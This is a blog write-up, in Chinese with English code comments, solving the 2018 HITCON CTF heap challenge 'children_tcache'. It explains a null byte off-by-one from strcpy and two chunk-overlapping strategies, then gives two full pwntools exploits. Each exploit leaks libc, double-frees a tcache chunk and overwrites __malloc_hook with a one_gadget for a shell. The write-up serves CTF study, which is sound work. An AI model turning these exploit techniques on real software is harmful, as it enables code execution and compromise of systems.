fi3ework's Dairy.

2018-Hitcon-children_tcache

字数统计: 1.5k阅读时长: 9 min
2019/05/03 Share

0x00 程序分析

保护全开

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

有三个功能

1
2
3
4
5
6
7
8
9
$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 Children Tcache 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. New heap $
$ 2. Show heap $
$ 3. Delete heap $
$ 4. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:

在New heap中,程序使用strcpy函数将缓冲区的字符串拷贝到堆内存中,同时会将字符串截断符\x00也拷贝过去,造成null off by one,溢出一个\x00

1
2
sub_BC8(&s, (unsigned int)size);
strcpy(dest, &s);

在Delete heap中,释放堆块时会将指针清零,且在堆内存中写满\xda

1
2
3
4
memset(qword_202060[v1], 218, qword_2020C0[v1]);
free(qword_202060[v1]);
qword_202060[v1] = 0LL; //qword_202060存放堆指针
qword_2020C0[v1] = 0LL; //qword_2020C0存放堆大小

0x01 利用分析

首先要获取libc的地址,因为不存在UAF漏洞,不能直接泄露已经释放的堆块的数据,所以尝试使用chunk overlapping,堆重叠,通过allocated chunk来泄露freed chunk中的数据

因为没有edit功能,所以只能先将chunk放入bin中,然后在申请的时候,填入数据来覆盖下一个chunk的prev_size,并且溢出一个字节\x00到size位,但是程序会在释放时,将\xda填满整个chunk,所以即使我们在在申请的时,覆盖下一个chunk的prev_size,下一个chunk的prev_size也会变成整个样子 dadadada0x110

有两种方法可以绕过这个阻碍

1 不覆盖prev_size进行chunk overlapping

我们知道当一个chunk(假设为chunk0)被释放时,他的下一个chunk(如果存在,假设为chunk1)的prev_size为和size位会改变,chunk0的大小改变时,chunk1的prev_size位也会随之改变。但是glibc怎么去定位到chunk1的prev_size位的呢,是通过chunk0的size,如果我们通过null off bu one修改了chunk0的size,比如从0x110修改为0x100,那么chunk1的prev_size就不会被改变,由此我们可以通过unlink来触发向后合并,获得一个更大的chunk,其中会重叠一个allocated chunk。

2 多次利用null off by one 来清除0xda,然后覆盖prev_size,进行chunk overlapping

我们仍然可以利用常规的方法覆盖下一个chunk的prev_size来实现chunk overlapping,但是我们要多次使用null off by one,每次申请的size都比上次的少1,那么我们就可以清空prev_size了

通过堆重叠获取到lib的基址后,我们就可以使用tcache的double free在__malloc_hook的地址中写入one_gadget实现getshell

0x02 EXP(不覆盖prev_size进行chunk overlapping)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

p = process('./children_tcache')
elf = ELF('./children_tcache')
libc = ELF('./libc.so.6')

context.log_level = 'debug'

def add(size, content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def show(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))

def dele(idx):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(idx))

def add_7_times(size):
for i in range(7):
add(size,'1111')

def dele_7_times(start,end):
for i in range(start,end+1):
dele(i)

def q():
gdb.attach(p)
raw_input('test')

#Because we will use chunks of size 0x90 and 0x110 multiple times below, so apply them first in the tcache.
add_7_times(0x80)#0-6
dele_7_times(0,6)
add_7_times(0x100)#0-6
add(0x108, '7777') #7 chunkA
add(0x100, '8888') #8 chunkB
add(0x100, '9999') #9 chunkC
dele_7_times(0,6)

dele(8)
dele(7)#chunk7 and chunk8 will be merged in unsortedbin

add_7_times(0x100)#0-6
add(0x108,'7'*0x108)#7 The size of chunkB will be overwritten by the original 0x110 to 0x100
dele_7_times(0,6)

add_7_times(0x80)#0-6
add(0x80,'8888')#8 chunkb1 Because the size bit of chunkB is changed, gibc cannot correctly locate the prev_size bit of chunkC, so the prev_size bit of chunkC will not change
dele_7_times(0,6)

add(0x60,'0000')#0 chunkb2
dele(8)#delete chunkb1
dele(9)#delete chunkC
#At this time, the prev_size of chunkC is 0x110, triggering the backward merge, and the chunk memory of chunkB to chunkC will be released

add_7_times(0x80)#1-6 8
add(0x80,'9999')#9 Redistribute chunk1,At this time, topchunk and chunkb2 are overlapping
dele_7_times(1,6)
dele(8)

add(0x500,'1111')#1
add(0x200,'2222')#2 Prevent triggering merge with topchunk

dele(1)# &main_arena+88 will be written in the fd and bk
show(0)# show chunkb2's data will also show chunk1's data
main_arena_88 = u64(p.recv(6).ljust(8, '\x00'))
libc_base = main_arena_88 - 0x3EBC40-88 -8
log.info('libc_base:' +hex(libc_base))
malloc_hook = libc_base+libc.symbols['__malloc_hook']
one_gadget = libc_base + 0x4f322

add(0x200,'1111')#1
#Both chunk0 and chunk1 point to the same heap memory
dele(0)#put into the 0x210 tcache
dele(1)#put into the 0x210 tcache again,double free

add(0x200,p64(malloc_hook))
add(0x200,'xxxx')
add(0x200,p64(one_gadget))

p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline('1')
p.interactive()

0x03 EXP(多次利用null off by one 来清除0xda,然后覆盖prev_size)

这种方法会简单一点,堆的布置,就是两个unsortedbin chunk中间夹一个小chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

p = process('./children_tcache')
elf = ELF('./children_tcache')
libc = ELF('./libc.so.6')

context.log_level = 'debug'

def add(size, content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def show(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))

def dele(idx):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(idx))

def add_7_times(size):
for i in range(7):
add(size,'1111')

def dele_7_times(start,end):
for i in range(start,end+1):
dele(i)

def q():
gdb.attach(p)
raw_input('test')

add(0x500,'0000')#0
add(0x28,'1111')#1
add(0x4f0,'2222')#2
add(0x100,'3333')#3 Avoid merge with top

dele(0)#unsortedbin
dele(1)

add(0x28,'0'*0x28)#0 The size bit of chunk2 is changed from 0x501 to 0x500
dele(0)

for i in range(1,9):# clear the 0xda in the prev_size of chunk2
add(0x28-i,'x'*(0x28-i))
dele(0)

add(0x28,'0'*0x20+p64(0x540))#0 Forge the prev_size bit of chunk2
dele(2)#triggering chunk overlapping

add(0x500,'1111')#1
show(0)#leak the &main_arena+88
main_arena_88 = u64(p.recv(6).ljust(8, '\x00'))
libc_base = main_arena_88 - 0x3EBC40-88 -8
log.info('libc_base:' +hex(libc_base))
malloc_hook = libc_base+libc.symbols['__malloc_hook']
one_gadget = libc_base + 0x4f322

add(0x100,'2222')#2 #Both chunk0 and chunk2 point to the same heap memory
dele(0)
dele(2)#double free

add(0x100,p64(malloc_hook))
add(0x100,'xxxx')
add(0x100,p64(one_gadget))

p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline('1')
p.interactive()
CATALOG
  1. 1. 0x00 程序分析
  2. 2. 0x01 利用分析
    1. 2.1. 1 不覆盖prev_size进行chunk overlapping
    2. 2.2. 2 多次利用null off by one 来清除0xda,然后覆盖prev_size,进行chunk overlapping
  3. 3. 0x02 EXP(不覆盖prev_size进行chunk overlapping)
  4. 4. 0x03 EXP(多次利用null off by one 来清除0xda,然后覆盖prev_size)